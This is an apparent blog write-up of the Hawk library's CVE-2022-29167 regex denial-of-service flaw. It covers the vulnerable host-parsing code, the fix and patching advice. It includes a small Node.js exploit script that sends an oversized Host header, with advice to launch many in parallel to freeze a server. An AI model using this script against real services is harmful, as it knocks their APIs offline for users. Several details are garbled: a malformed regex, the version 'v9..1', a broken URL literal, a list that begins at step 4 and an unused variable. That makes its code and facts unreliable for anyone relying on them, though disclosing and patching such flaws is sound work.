---
Hawk is a popular Node.js library used in many APIs and services for HTTP authentication. It aims to provide strong security with simple usage. If you’re building or interacting with RESTful APIs, you might use Hawk to verify requests, prevent tampering, and add cryptographic authentication. However, in 2022, a dangerous denial-of-service vulnerability was found in Hawk — tracked as CVE-2022-29167. Here’s what happened, how an attacker could exploit it, and what you need to do to stay safe.
What Is Hawk, and Why Does Host Parsing Matter?
Hawk signs HTTP requests by hashing together critical pieces of the HTTP request—such as the HTTP method, URI, host, and sometimes the payload. This lets a server verify that the request hasn’t been tampered with and comes from a trusted client.
A core routine in Hawk is extracting the host and port from HTTP requests. Originally, Hawk did this with a homebrew regular expression in its Hawk.utils.parseHost() function.
Understanding the Vulnerability: Regex Catastrophe
CVE-2022-29167 is a Regular Expression Denial of Service (ReDoS) in Hawk.utils.parseHost(). The regular expression used to parse the Host HTTP header could be abused. If an attacker sent a carefully crafted, exceptionally long or complex value in the Host header, processing it could take an exponentially long time.
Let’s see a simplified version of what the buggy code looked like
// Vulnerable host parsing (simplified!)
// This regex could be tricked into catastrophic backtracking
function parseHost(req) {
var hostHeader = req.headers.host;
// BAD: susceptible to ReDoS via complex host headers
var match = /^([^\:]+)(?:\:([-9]+))?$/.exec(hostHeader);
return {
name: match[1],
port: match[2] || (req.connection.encrypted ? 443 : 80)
}
}
Under certain patterns (e.g., lots of repeating “:” or crafted junk), the regex engine works much, much harder than it should.
Every new character makes the regex matching way slower.
4. Send hundreds or thousands of these requests — and your backend, or worse, *every* API gateway before it (using Hawk), starts crawling or even freezing, unable to process other requests.
Here’s a minimal exploit, assuming an API using Hawk
const http = require('http');
const payload = 'Host: ' + ':'.repeat(10000) + '\r\n\r\n';
const options = {
port: 800,
method: 'GET',
path: '/',
headers: {}
};
const req = http.request(options, (res) => {
res.on('data', (chunk) => {});
});
req.setHeader('Host', ':'.repeat(10000));
req.end();
Fire off many of these in parallel, and your Hawk-based server (if unpatched) could become unresponsive.
How Was It Fixed?
The vulnerability is patched in Hawk v9..1. The fix? Don’t roll your own parsing—let modern libraries do it:
// Safe host parsing (from Node.js v10+)
const url = new URL('http://'; + req.headers.host);
return {
name: url.hostname,
port: url.port || (req.connection.encrypted ? 443 : 80)
};
This avoids the regular expression, removing the possibility of catastrophic backtracking.
If you must pass a custom host/port, Hawk’s authenticate() can accept those. As part of mitigation, validate that user-supplied values passed into options.host/options.port aren’t untrusted or oversized to prevent abuse.
1. Upgrade Now
If you use Hawk, upgrade to v9..1 or later as soon as possible.
- Hawk releases
2. Review Dependencies
If any of your dependencies use Hawk, update those and check for indirect usage.
3. Validate Headers
Be wary of accepting arbitrary headers, especially user-controlled ones. Apply size/matching limits at the proxy or web server.
4. Monitor for DoS Patterns
Watch for many slow or stuck requests, and be ready to rate-limit or block problematic sources.
References
- CVE-2022-29167 on NVD
- GitHub Hawk security advisory
- PR fixing the bug (hapijs/hawk#273)
- ReDoS in host regex parsing - Snyk advisory
Final Words: One Small Regex, One Big Threat
Many security bugs start with simple intentions—like parsing a Host header. But when input isn’t trusted, especially from the open web, even tiny mistakes can threaten your API’s availability.
If you use Hawk (or any code parsing headers with regex), double check your version and always rely on the platform’s built-in URL parsing. CVE-2022-29167 is now fixed, but it’s a powerful reminder: don’t roll your own regex unless you really, really know what you’re doing.
Stay secure and keep those services running! 🚦
*Exclusive writeup for this post. Please share, patch, and audit your code!*
Timeline
Published on: 05/05/2022 23:15:00 UTC
Last modified on: 05/16/2022 16:58:00 UTC